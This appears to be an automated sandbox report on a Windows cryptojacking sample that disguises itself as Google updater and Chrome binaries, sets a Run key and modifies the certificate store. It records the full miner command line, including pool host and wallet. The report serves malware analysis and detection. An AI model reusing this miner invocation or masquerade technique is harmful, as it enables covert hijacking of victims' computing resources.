Analysis
- max time kernel
150s - max time network
125s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
04/10/2026, 02:20
General
- Target c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe
- Size 21.4MB
- Sample261004-csptsstsbw
- SHA256 c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd
Malware Config
Signatures
- Executes dropped EXE 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe"C:\Users\Admin\AppData\Local\Temp\c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe"C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe" /install22⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\uwcb7udt\crashpad_handler.exe"C:\ProgramData\Google\Update\uwcb7udt\crashpad_handler.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\uwcb7udt\chrome.exe"C:\ProgramData\Google\Update\uwcb7udt\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppumvvwwskhqms04q3h3jlqd7rprr2qu8qklls623hn3mkmlrc38sagsswl.EOIKPOMQY4⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\Google\Update\uwcb7udt\chrome.exe"C:\ProgramData\Google\Update\uwcb7udt\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppumvvwwskhqms04q3h3jlqd7rprr2qu8qklls623hn3mkmlrc38sagsswl.EOIKPOMQY3⤵
- Executes dropped EXE
-
-
-
C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe"C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe" /run1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Google\Update\uwcb7udt\chrome.exe"C:\ProgramData\Google\Update\uwcb7udt\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppumvvwwskhqms04q3h3jlqd7rprr2qu8qklls623hn3mkmlrc38sagsswl.EOIKPOMQY2⤵
- Executes dropped EXE
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
chrome.dll
chrome.exe
crashpad_handler.exe
googleupdater.exe
nvidia-smi.exe
memory/832-31-0x00007FF7222E0000-0x00007FF72230C000-memory.dmp
memory/2552-7-0x0000000140000000-0x0000000140F01000-memory.dmp
memory/2552-76-0x00007FF692000000-0x00007FF69214B000-memory.dmp
memory/2552-4-0x00007FF692000000-0x00007FF69214B000-memory.dmp
memory/2552-2-0x0000000140000000-0x0000000140F01000-memory.dmp
memory/2552-0-0x0000000140000000-0x0000000140F01000-memory.dmp
memory/2632-16-0x0000000140000000-0x0000000140F01000-memory.dmp
memory/2632-8-0x00007FF6D0B80000-0x00007FF6D0CCB000-memory.dmp
memory/2780-39-0x00007FF6D0B80000-0x00007FF6D0CCB000-memory.dmp
memory/2780-53-0x0000000140000000-0x0000000140F01000-memory.dmp
memory/2780-54-0x00007FF6D0B80000-0x00007FF6D0CCB000-memory.dmp
memory/4452-80-0x00007FF6741D0000-0x00007FF6741FC000-memory.dmp
memory/5232-56-0x00007FF6741D0000-0x00007FF6741FC000-memory.dmp
memory/5812-49-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-62-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-65-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-68-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-71-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-74-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-59-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-38-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-81-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp
memory/5812-83-0x00007FF6B58A0000-0x00007FF6B58CA000-memory.dmp